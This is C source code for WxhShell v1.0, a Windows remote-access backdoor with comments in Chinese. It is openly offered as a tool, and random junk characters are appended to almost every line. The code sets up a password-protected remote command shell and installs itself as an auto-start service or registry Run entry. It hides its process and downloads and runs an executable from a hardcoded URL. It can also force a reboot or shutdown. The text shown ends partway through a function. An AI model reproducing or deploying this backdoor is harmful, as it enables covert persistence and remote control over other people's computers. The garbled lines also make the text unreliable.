    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  '@.Lg0`  
    else { j3+ hsA/(k  
    closesocket(wsh); ;.$vDin6  
    ExitThread(0); 4wEkxCWp/  
    } V5 9Vf[i|  
    break; Iv9U4  
    } 0/z$W.!  
  // 获取shell :]8A;`G}  
  case 's': { xa?auv!  
    CmdShell(wsh); e_rEu'[av  
    closesocket(wsh); /yUKUXi  
    ExitThread(0); /9D mK%d  
    break; (&V*~OR  
  } t v`c" Pb  
  // 退出 z([HGq5  
  case 'x': { ,*x/L?.Z!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L KZ<\% X  
    CloseIt(wsh); %|R]nB  
    break; 6y?uH; SL  
    } r@'~cF]m  
  // 离开 0f3>s>`M  
  case 'q': { w9gfva$&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H#nJWe_9A  
    closesocket(wsh); &!'R'{/?X  
    WSACleanup(); y6G6wk;  
    exit(1); O_ $zK  
    break; [z;}^3b  
        } m*7RC4"J  
  } C4-%|+Q i  
  } 9&B #@cw  
k"/}9[6:U5  
  // 提示信息 x @9rc,by  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fL'Ci;.;+  
} "18cD5-#  
  } RR/?"d?&  
F 6+4Yy+  
  return; l[WX77bp=  
} :8+x&zn  
g~=- ,j|  
// shell模块句柄 j&8G tE1b  
int CmdShell(SOCKET sock) Ck/w:i@>?  
{ 4VsttT  
STARTUPINFO si; 'XYjo&w  
ZeroMemory(&si,sizeof(si)); )7E7K%:b,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (CYQ>)a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E( *CEW.V*  
PROCESS_INFORMATION ProcessInfo; ?4W6TSW-'  
char cmdline[]="cmd"; 3Dj>U*fP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mv/ Nz?  
  return 0; 3|URlz  
} @lh]? |*[  
Y31e1   
// 自身启动模式 >oAXS\Ts  
int StartFromService(void) Q+U" %   
{ SU~ljAF4  
typedef struct '8@4FXK  
{ Ycxv=Et  
  DWORD ExitStatus; <fgf L9-  
  DWORD PebBaseAddress; @zt"Y~9i  
  DWORD AffinityMask; |NFDrm  
  DWORD BasePriority; >pq=5Ha&  
  ULONG UniqueProcessId; qyY/:&E,Z  
  ULONG InheritedFromUniqueProcessId; n2'XWbMaL  
}   PROCESS_BASIC_INFORMATION; bK!uR&i^l  
hb)83mH}  
PROCNTQSIP NtQueryInformationProcess;  [cfXcl  
q((%sWp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X:(t,g*7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iE ,"YCK  
2ryg3% +O  
  HANDLE             hProcess; 9wC='  
  PROCESS_BASIC_INFORMATION pbi; u*7>0o|H:  
i>pUTT _[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PL3oV<\4s>  
  if(NULL == hInst ) return 0; 1n>AN.nI  
Q$yQ^ mG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qg o| \=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X#MC|Fzy@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uxW<Eh4H*  
)@ .0ai  
  if (!NtQueryInformationProcess) return 0; OeQ~g-n  
j#H&~f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S09Xe_q  
  if(!hProcess) return 0; ?,eq86-M  
0v3 8LBH)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OuPfB  
5N2`e3:I  
  CloseHandle(hProcess); i)]^b{5nyB  
9N<TJp,q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z =*h9,MY  
if(hProcess==NULL) return 0; S<w? ,Z  
k& ]I;Aq  
HMODULE hMod; u6*0% Km  
char procName[255]; ~(.&nysZ-  
unsigned long cbNeeded; "3Ckc"G@  
R\u5!M$::  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dv=pX.Z+  
92/_!P>  
  CloseHandle(hProcess); Yjx4H  
xl(R|D))  
if(strstr(procName,"services")) return 1; // 以服务启动 gI+dyoh  
!qs3fe<uh"  
  return 0; // 注册表启动 1#vi]CX  
} Xh*Nu HH  
[XNDYaF8  
// 主模块 t"&qaG{  
int StartWxhshell(LPSTR lpCmdLine) _xo;[rEw8  
{ p,mKgL63  
  SOCKET wsl; 5^{).fig  
BOOL val=TRUE; % hRH80W|  
  int port=0; `k9a$@Xg  
  struct sockaddr_in door; )6U^!95  
Xc G   
  if(wscfg.ws_autoins) Install(); R)]+>M-.  
e1R<+`]  
port=atoi(lpCmdLine); 7<93n`byM  
o-<.8Z}>at  
if(port<=0) port=wscfg.ws_port; :CXm@yF~4=  
f(c#1AJE53  
  WSADATA data; mqQC`Aqx:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @dhnpR :L  
6J3<k(#:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'u:J "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8+&Da  
  door.sin_family = AF_INET; D [K!xq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); edfb7prfTl  
  door.sin_port = htons(port); jh~E!%d77  
7hKfxw-X@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SJ&+"S&  
closesocket(wsl); S@WT;Q2Z  
return 1; z3|5E#m  
} *7yrm&@nG  
Lr(My3vF8q  
  if(listen(wsl,2) == INVALID_SOCKET) { *V@t]d$=#  
closesocket(wsl); %$+bO/f  
return 1; O|&SL03Z8  
} aydf# [F  
  Wxhshell(wsl); *#o2b-[V  
  WSACleanup(); ])Z p|?Y  
W!b'nRkq  
return 0; |k/;1.b!9(  
-^$IjK-N  
} < _ <?p&  
\|R\pS}4  
// 以NT服务方式启动 k6|/ik9C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7,R ~2ss5z  
{ na] 9-~4  
DWORD   status = 0; zw%1 a 3!  
  DWORD   specificError = 0xfffffff; Xcci)",!  
S 0mt8/ M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f/^T:F6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,egbU (:l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~PedR=Y0n  
  serviceStatus.dwWin32ExitCode     = 0; i$XT Qr0K=  
  serviceStatus.dwServiceSpecificExitCode = 0; u 236a\:  
  serviceStatus.dwCheckPoint       = 0; 3^Z@fC  
  serviceStatus.dwWaitHint       = 0; /wJocx]vQ  
c/-PEsk_TP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l\{r-F N  
  if (hServiceStatusHandle==0) return; q.d qr<  
OCWyp  
status = GetLastError(); d'e\tO  
  if (status!=NO_ERROR) X GDJCN  
{ 1 o\COnt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~4`3p=$  
    serviceStatus.dwCheckPoint       = 0; bHioM{S  
    serviceStatus.dwWaitHint       = 0; RWXN  
    serviceStatus.dwWin32ExitCode     = status; C=P}@|K  
    serviceStatus.dwServiceSpecificExitCode = specificError; NrfAr}v'E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g,\O}jT\'  
    return; &nwk]+,0W#  
  } I\$?'q>  
Ihx[S!:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6@ =ipPCR  
  serviceStatus.dwCheckPoint       = 0; *30T$_PiX|  
  serviceStatus.dwWaitHint       = 0; li%A?_/m<&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t^g+nguz  
} \_t[\&.a}  
-@mcu{&  
// 处理NT服务事件,比如:启动、停止 G,,f' >  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3u1\zse  
{ \&^U9=uq  
switch(fdwControl) p)*x7~3e  
{ OT}P0 ~4s  
case SERVICE_CONTROL_STOP: ~Da-|FKa>  
  serviceStatus.dwWin32ExitCode = 0; QT[4\)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G$6mtw6[M  
  serviceStatus.dwCheckPoint   = 0; u'Z^|IVfo  
  serviceStatus.dwWaitHint     = 0; 88A,ll%  
  { nF=[m; ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V_jGL<X|  
  } 2:&QBwr+;  
  return; Poxoc-s  
case SERVICE_CONTROL_PAUSE: h%Uq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F&D ,y-CQ  
  break; :hDv^D?3  
case SERVICE_CONTROL_CONTINUE: 5ih5=qX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a*!9RQ  
  break; q 7hoI]  
case SERVICE_CONTROL_INTERROGATE: Ft?Y c 5  
  break; C@@PLsMg  
}; e@g=wN"@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,]wOxwqi  
} fq !CB]C  
4\14HcTcK  
// 标准应用程序主函数 3tCT"UvTD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fuo.8  
{ a!;CY1>  
OTmr-l6  
// 获取操作系统版本 Kj#h9e  
OsIsNt=GetOsVer(); yUg'^SEbLk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^'4I%L"  
H=*2A!O[_  
  // 从命令行安装 #QiNSS  
  if(strpbrk(lpCmdLine,"iI")) Install(); X^d}eWP`I  
s,7 OoLE  
  // 下载执行文件 9&1$\ZH  
if(wscfg.ws_downexe) { 0D}k ^W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4YCuO%  
  WinExec(wscfg.ws_filenam,SW_HIDE); "cDc~~3/@  
} ^*WO*f>y  
Q57Z~EsF  
if(!OsIsNt) { 9zaSA,}  
// 如果时win9x,隐藏进程并且设置为注册表启动 k j&hn  
HideProc(); @EUvx  
StartWxhshell(lpCmdLine); q5>!.v   
} +3?.Vb%jY  
else &&te(DC\  
  if(StartFromService()) 6tup^Rlo;$  
  // 以服务方式启动 p?x]|`M  
  StartServiceCtrlDispatcher(DispatchTable); mxTuwx   
else Gvc/o$_  
  // 普通方式启动 <Mf(2`T  
  StartWxhshell(lpCmdLine); Y2(,E e2  
/^,/o  
return 0; OdtS5:L  
} l!%V&HJV  
w,zm!  
`5Em: 8 M  
O @{<?[  
=========================================== = '<*mT<  
1|5TuljTd  
+$B#] ,  
mlbSs_LT^  
`B7?F$J  
SNtOHTQ  
" <"x *ZT  
i|G /x  
#include <stdio.h> gO m%?sg  
#include <string.h> i-Ri;E  
#include <windows.h> 8Tm/gzx  
#include <winsock2.h> q??N,  
#include <winsvc.h> $lf\1)B~*  
#include <urlmon.h> E1Rz<&L  
]`eJSk.  
#pragma comment (lib, "Ws2_32.lib") X*rB`M7,  
#pragma comment (lib, "urlmon.lib") X$ 76#x  
k1M?6TW&  
#define MAX_USER   100 // 最大客户端连接数 $ q$\  
#define BUF_SOCK   200 // sock buffer Axx{G~n![  
#define KEY_BUFF   255 // 输入 buffer K]dX5vJw'  
`;#I_R_K  
#define REBOOT     0   // 重启 ?+y# t?  
#define SHUTDOWN   1   // 关机 uCGn9]  
]\oE}7K%r  
#define DEF_PORT   5000 // 监听端口 ;q" ,Bs  
d15E$?ZLH  
#define REG_LEN     16   // 注册表键长度 v$bR&bCT  
#define SVC_LEN     80   // NT服务名长度 YX 19QG%  
Fj0h-7L  
// 从dll定义API z;[Z'_B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R,[+9U|4V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (1?k_!)T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?[S{kMb2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S:xG:[N@  
ut;KphvSH  
// wxhshell配置信息 407;M%?'A  
struct WSCFG { qAR}D~t  
  int ws_port;         // 监听端口 4p_@f^v~QH  
  char ws_passstr[REG_LEN]; // 口令 %TRH,-@3h  
  int ws_autoins;       // 安装标记, 1=yes 0=no iC\t@BVS  
  char ws_regname[REG_LEN]; // 注册表键名 AJ-~F>gn  
  char ws_svcname[REG_LEN]; // 服务名 T1pMe{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fIcra  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >,%7bq=T!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H1g"09?h6o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B=J/HiwV)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oz_|pu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .6#Y- iJqc  
L[9]Ez$2+  
}; (_O_zu8_  
B%d2tsDw  
// default Wxhshell configuration @ 6{U*vs  
struct WSCFG wscfg={DEF_PORT, *FEY"W+bY  
    "xuhuanlingzhe", 6sp?'GO`~  
    1, zMQ|j_ l9E  
    "Wxhshell", YKs^aQm#  
    "Wxhshell", w/m ~#`a  
            "WxhShell Service", S[W|=(f9  
    "Wrsky Windows CmdShell Service", {,rVA(I@  
    "Please Input Your Password: ", <sq@[\l}a  
  1, [{!5{k!  
  "http://www.wrsky.com/wxhshell.exe", E-q*u(IW  
  "Wxhshell.exe" <xeo9'k6&  
    };  p%6j2;D  
y-c2tF@'v  
// 消息定义模块 'F@#.Op`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5=--+8[ bV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `Dco!ih  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4aQb+t,  
char *msg_ws_ext="\n\rExit."; [1*3 kt*h  
char *msg_ws_end="\n\rQuit."; D*R49hja{  
char *msg_ws_boot="\n\rReboot..."; &% \`Lwh  
char *msg_ws_poff="\n\rShutdown..."; p KF>_\   
char *msg_ws_down="\n\rSave to "; *rk!`n&  
cSSrMYX2  
char *msg_ws_err="\n\rErr!"; 3yfq*\_uXw  
char *msg_ws_ok="\n\rOK!"; D,rs)  
P]G`Y>#$r  
char ExeFile[MAX_PATH]; VfiMR%i}  
int nUser = 0; bLysUj5[5  
HANDLE handles[MAX_USER]; fscAG\>8  
int OsIsNt; *X K9-%3  
6Q. _zk  
SERVICE_STATUS       serviceStatus; ~agzp`!M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N}3$1=@Y  
JL4\%  
// 函数声明 xNh#=6__9  
int Install(void); '}{J;moB  
int Uninstall(void); #~r+   
int DownloadFile(char *sURL, SOCKET wsh); |QvG;{!  
int Boot(int flag); YolO-5  
void HideProc(void); 0UmKS\P  
int GetOsVer(void); lr[a~ca\  
int Wxhshell(SOCKET wsl); P/'~&*m-  
void TalkWithClient(void *cs); _Z|s!~wdz  
int CmdShell(SOCKET sock); < ealt  
int StartFromService(void); ?[K+Ym+  
int StartWxhshell(LPSTR lpCmdLine); 64^dy V,;  
uLsGb=m%b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D@i,dPz5Zl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Tp0#fi  
.3%eSbt0  
// 数据结构和表定义 9K@>{69WQ  
SERVICE_TABLE_ENTRY DispatchTable[] = av(d0E}}b  
{ {g2cm'hD  
{wscfg.ws_svcname, NTServiceMain}, x7X"'1U  
{NULL, NULL} 5O Ob(  
}; fn zj@_{|  
u, %mVd  
// 自我安装 HM])m>KeT  
int Install(void) pCz;km  
{ :>$)Snqo=n  
  char svExeFile[MAX_PATH]; qwu++9BM  
  HKEY key; )>atoA  
  strcpy(svExeFile,ExeFile); Z1FO.[FV  
*hAeA+:  
// 如果是win9x系统,修改注册表设为自启动 6y,M+{  
if(!OsIsNt) { oW-Tw@D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wiqy".YY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n*^g^gp  
  RegCloseKey(key); GdavCwJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aTs5^Kh')  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F_!6C-z  
  RegCloseKey(key); BJk:h-m [  
  return 0; @5H1Ni5/o@  
    } :b;2iBVB  
  } J.:"yK""  
} e| (jv<~r  
else { kwdmw_  
5M{N-L_eC  
// 如果是NT以上系统,安装为系统服务 5j`"@C5;O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =1lKcA[z  
if (schSCManager!=0) FyYQ4ov0&o  
{ iYA06~ d  
  SC_HANDLE schService = CreateService mSAuS)YD  
  ( fcb:LPk;  
  schSCManager, 3O<<XXar  
  wscfg.ws_svcname, EuqmA7s8A  
  wscfg.ws_svcdisp, *Xt#04_  
  SERVICE_ALL_ACCESS, /`0*!sN*5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C/e`O|G  
  SERVICE_AUTO_START, m^h"VH,   
  SERVICE_ERROR_NORMAL, zzuDI_,/  
  svExeFile, US'X9=b_  
  NULL, ~R/7J{Sg  
  NULL, ?)1h.K1}M  
  NULL, 6}IOUWLB@  
  NULL, a@zKi;  
  NULL fu9y3`  
  ); ^o"9f1s5  
  if (schService!=0) g8mVjM\B;  
  { Gp$[u4-6M6  
  CloseServiceHandle(schService); ('W#r"  
  CloseServiceHandle(schSCManager); |]DZc/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  b#P ,  
  strcat(svExeFile,wscfg.ws_svcname); n<\^&_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <!K2xb-d^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -hL8z$}  
  RegCloseKey(key); zUXqTcj  
  return 0; A2Rr*e  
    } DyG3|5s1R  
  } k$}XZ,Q  
  CloseServiceHandle(schSCManager); q+dY&4&u  
} H]"Z_n_  
} *FR Eh@R  
;%]Q%7  
return 1; <X j:c2@  
} ?;+=bKw0  
sL~TV([6/  
// 自我卸载 f`p`c*  
int Uninstall(void) FM0)/6I'x  
{ "f~S3?^!2  
  HKEY key; TuBg4\V  
HV&N(;@  
if(!OsIsNt) { k x6%5%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R7e`Wn  
  RegDeleteValue(key,wscfg.ws_regname); DM!vB+j+,  
  RegCloseKey(key);  #It{B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ne@Iv)g?  
  RegDeleteValue(key,wscfg.ws_regname); gx4`pH;B\  
  RegCloseKey(key); =i Rc&  
  return 0; X82sw>Y  
  } DuZ51[3_L  
} m=PSC Ib  
} odny{ePAf  
else { eek5Xm  
>6=yxCJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KKa"Ba$g  
if (schSCManager!=0) Bca\grA  
{ 9,82Uta  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ??aOr*%  
  if (schService!=0) 5ts8o&|   
  { XkCbdb  
  if(DeleteService(schService)!=0) { P00d#6hPJ  
  CloseServiceHandle(schService); +J]3)8 y+  
  CloseServiceHandle(schSCManager); 7zVaj"N(  
  return 0; =:1f 0QF  
  } +~  :1H.  
  CloseServiceHandle(schService); b,~4O~z  
  } ToCB*GlL  
  CloseServiceHandle(schSCManager); 1*[h$Z&H?  
} TPq5"mco  
} b3H~a2"d  
t=~al8  
return 1; J Q%e'  
} 6t *pV [  
-/B}XN W  
// 从指定url下载文件 2 Nr j@q  
int DownloadFile(char *sURL, SOCKET wsh) Z%N{Y x(  
{ G!8O*4+A  
  HRESULT hr; IpoZ6DB$  
char seps[]= "/"; |Ag~k? QC  
char *token; 7sC$hm]  
char *file; &rorBD 5aj  
char myURL[MAX_PATH]; 7X2g"2\Wm  
char myFILE[MAX_PATH]; ;q6: *H/  
2l{g$44  
strcpy(myURL,sURL); "T<Q#^m  
  token=strtok(myURL,seps); |5Mhrb4.  
  while(token!=NULL) 3:Y ZC9  
  { R8c1~'  
    file=token; :v* _Ay  
  token=strtok(NULL,seps); Ol~sCr  
  } ?Re@`f+*  
vZTX3c:,1  
GetCurrentDirectory(MAX_PATH,myFILE); s)_7*DY  
strcat(myFILE, "\\"); ]V<[W,*(5  
strcat(myFILE, file); :w#Zs)N  
  send(wsh,myFILE,strlen(myFILE),0); ya5;C"   
send(wsh,"...",3,0); pTST\0?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Rc/Ten  
  if(hr==S_OK) /$! / F@^  
return 0; 6sRn_y  
else tt{,f1v0t  
return 1; p=coOWOQ  
gv r "F  
} +%7yJmMw  
y)"aQJ>  
// 系统电源模块 Qa5<go{  
int Boot(int flag) 9 @!Og(l  
{ LU?X|{z  
  HANDLE hToken;  KY!  
  TOKEN_PRIVILEGES tkp; sI@m"A  
ZQD_w#0j  
  if(OsIsNt) { }wC pr.@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T3@wNAAU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $`i$/FE  
    tkp.PrivilegeCount = 1; ]chcRc[!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fS>W-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W7WHH \L/O  
if(flag==REBOOT) { oR[,?qu@f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ipQJn_:2  
  return 0; #y&3`Nz3  
} j_L 'Ztu3  
else { ?NGM<nK;7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hW~,Uqy  
  return 0; z~L4BY@z  
} M+gQN}BAr  
  } \'q-Xr'}M  
  else { up=4B  
if(flag==REBOOT) { dFjB &#Tl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gk;==~  
  return 0; 2ELw}9  
} X{| 1E85fl  
else { 6m_Y%&   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pT>[w1Kk^  
  return 0; J|W~\(W6i  
} 8do]5FE  
} f` 2W}|(jA  
U)=StpTT  
return 1; jJQ6]ucwa  
} "6[' !rq0  
_'ltz!~  
// win9x进程隐藏模块 H~i+: X=I  
void HideProc(void) 8v8?D8\=|  
{ 5,:>.LRA  
.</d$FM JE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c+f~>AaI  
  if ( hKernel != NULL ) #|v\UJ:Pf/  
  { L}h?nWm8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~%qHJ4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7m~+HM\  
    FreeLibrary(hKernel); o|>2X[T  
  } cWl  
B# |w}hj  
return; :@y!5[88!  
} ZF_*h`B  
e4b`C>>  
// 获取操作系统版本 6H+gFXIv  
int GetOsVer(void) b] DF7 U  
{ %`F6>J  
  OSVERSIONINFO winfo; ()6(eRGJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {CG%$rh  
  GetVersionEx(&winfo); {VE\}zKF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Q.A)5_  
  return 1; "EQ`Q=8  
  else cgNK67"(  
  return 0; v(W$\XH  
} JfxD-9U^>u  
hk3}}jc  
// 客户端句柄模块 3BAls+<p o  
int Wxhshell(SOCKET wsl) q!\K!W\  
{ \rn:/  
  SOCKET wsh; s$4!?b$tw  
  struct sockaddr_in client; )[|TxXz d  
  DWORD myID; {" woBOaA  
(n;#Z,  
  while(nUser<MAX_USER) jAB~XaT,  
{ o9(:m   
  int nSize=sizeof(client); '`p#%I@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _Jx.?8  
  if(wsh==INVALID_SOCKET) return 1; T?4MFx#  
$ jWe!]ASU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8)\Td tBf9  
if(handles[nUser]==0) *v 1hMk  
  closesocket(wsh); \XFF(  
else +)k%jIi!  
  nUser++; =e=sK'NvD  
  } %JeT,{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FloCR=^H  
y!&6"l$K]  
  return 0; .aV#W@iyK  
} Eyv%"+>  
x ok8  
// 关闭 socket Hphvsre<  
void CloseIt(SOCKET wsh) 0"o%=i;  
{ w[}5qAI5*f  
closesocket(wsh); Jte:U*2  
nUser--; LG0+A}E=C  
ExitThread(0); a'u:1C^\  
} C ?JcCD2  
XZde}zUWn  
// 客户端请求句柄 ZjF5*A8l  
void TalkWithClient(void *cs) pKJ0+mN#"  
{ :c[iS~ ~Y  
\CNv,HUm3  
  SOCKET wsh=(SOCKET)cs; %$}aWzQxll  
  char pwd[SVC_LEN]; A:Pp;9wl  
  char cmd[KEY_BUFF]; ;*>Y8^K&Q  
char chr[1]; EVZuwbO)|  
int i,j; &o%IKB@  
2L Kpwz?  
  while (nUser < MAX_USER) { L}Nc kL  
P>n}\"z4  
if(wscfg.ws_passstr) { D@A@5pvS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 70hm9b-   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VN6h:-&iY  
  //ZeroMemory(pwd,KEY_BUFF); 0aj4.H*%  
      i=0; gg $/  
  while(i<SVC_LEN) { TR}ztf[e  
^h #0e:7<  
  // 设置超时 7%DA0.g  
  fd_set FdRead; "I+71Ce  
  struct timeval TimeOut; }TE4)vXs  
  FD_ZERO(&FdRead); 7vO3+lT/Y;  
  FD_SET(wsh,&FdRead); i E p{  
  TimeOut.tv_sec=8; uvC ![j^~  
  TimeOut.tv_usec=0; 9jW/"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M9so3L<N0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K,_d/(T4  
;|7]%Z}%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3H"bivK  
  pwd=chr[0]; v d A 3  
  if(chr[0]==0xd || chr[0]==0xa) { U?BuV  
  pwd=0; =E$Hq4I  
  break; Ot,eAiaX  
  } zv/owK  
  i++; K@d,8[  
    } %Y!31oC#  
DvL/xlN  
  // 如果是非法用户,关闭 socket mz)Z =`hy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9?W!E_  
} )~@iM.}S2  
L WwWxerZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X|]&K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Aq2}sRl{  
))Q3;mI"  
while(1) { VaKBS/y"  
~Psv[b=]  
  ZeroMemory(cmd,KEY_BUFF); uRIa Nwohv  
a(cZ]`s]*  
      // 自动支持客户端 telnet标准   JSO'. [N  
  j=0; Ujb7uho  
  while(j<KEY_BUFF) { luLt~A3H$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ew.a*[W''  
  cmd[j]=chr[0]; DVC<P}/  
  if(chr[0]==0xa || chr[0]==0xd) { 8/4i7oOC  
  cmd[j]=0; !.\-l2f  
  break; {jVEstP  
  } j\SvfZ0"  
  j++; \ct7~!qM  
    } ;F3#AO4(  
.]gY{_|x  
  // 下载文件 _}G1/`09#  
  if(strstr(cmd,"http://")) { ?VM4_dugf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8":O\^i  
  if(DownloadFile(cmd,wsh)) _pZ2^OO@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #\DKU@|h  
  else c ow]qe6K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iLhxcM2K  
  } N5]}m:"pk  
